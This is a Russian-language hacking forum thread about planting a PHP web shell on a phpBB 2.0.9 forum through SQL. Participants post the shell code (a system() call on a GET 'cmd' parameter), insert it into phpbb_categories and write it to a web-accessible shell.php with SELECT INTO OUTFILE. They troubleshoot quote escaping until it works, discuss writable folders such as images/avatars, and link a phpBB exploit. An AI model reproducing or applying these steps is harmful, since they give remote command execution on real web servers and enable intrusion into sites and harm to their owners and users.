Заливка шелла в phpBB 2.0.9 через SQL

[bandera]

Почему вылетает такая ошибка при востонавлениие БД. Что можно сделать.

Error importing backup file DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'cmd']); ?>', '10')' at line 1 INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '', '10') Line : 980 File : /home/xxxxx/public_html/forum/admin/admin_db_utilities.php

[Rebz]

'cmd']); ?> - это что такое?)) шелл напоминает наполовину)

смотри таблицу phpbb_categories. Смотри значения таблицы..скорее всего в ней дело. точно не знаю.

[bandera]

'cmd']); ?> - это что такое?)) шелл напоминает наполовину)


Да не это ошибка так вылетает:
Писал всё правильно.

INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? system(GET['cmd']); ?>', '10');

Потом:
SELECT cat_title INTO OUTFILE '/home/xxxx/public_html/forum/cache/shell.php' FROM phpbb_categories where cat_id=1;

Не пойму чо за хрень такая...

смотри таблицу phpbb_categories. Смотри значения таблицы..скорее всего в ней дело. точно не знаю.

Нет таблица стандартная.

[GreenBear]

INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? system(GET['cmd']); ?>', '10');
Говорят если ковычки заслешировать - поможет.
<? system(GET[\'cmd\']); ?>

[GreenBear]

Ну дальше то что? Заслешировать то все равно надо.
Запрос к мускулу идет не правильный, хоть отедльный запрос, хоть востановление из бэкапа.

[bandera]

Green_Bear сэнкс помогло=)

Теперь другая проблема - какая папка ещё может быть доступна для записи? А то Access denied =)

[GreenBear]

images/avatars/

[bandera]

images/avatars/
не некатит (странно чо за хрень) ещё может что нибудь быть?

[bandera]

Вопрос вот по этому сплойту для пхпбб <2.0.10:
http://milw0rm.com/id.php?id=647
его исправлять надо или что, а то у меня лампочка на модеме не моргнула даже, а он пишет cant connect.

[SK | Heaton]

images/avatars/ это папка доступна для записи просто это папка стоит на фильтрации зависимо от типа файлов и размера.

[Tem]

Она не всегда доступна, можна и выложить прова на него.

[SK | Heaton]

Она не всегда доступна, можна и выложить прова на него.
ну если админ уберет доступ она и будет не достепна

[Tem]

или если туда акссес закинит )

[qBiN]

Итак соучаснеги я опять закрою эту тему.
google_it:sql docs OR sql
forum_seach:sql
Информации по sql очень много,тем более что сервер дает описание ошибки.
Тема закрыта.Автору минус.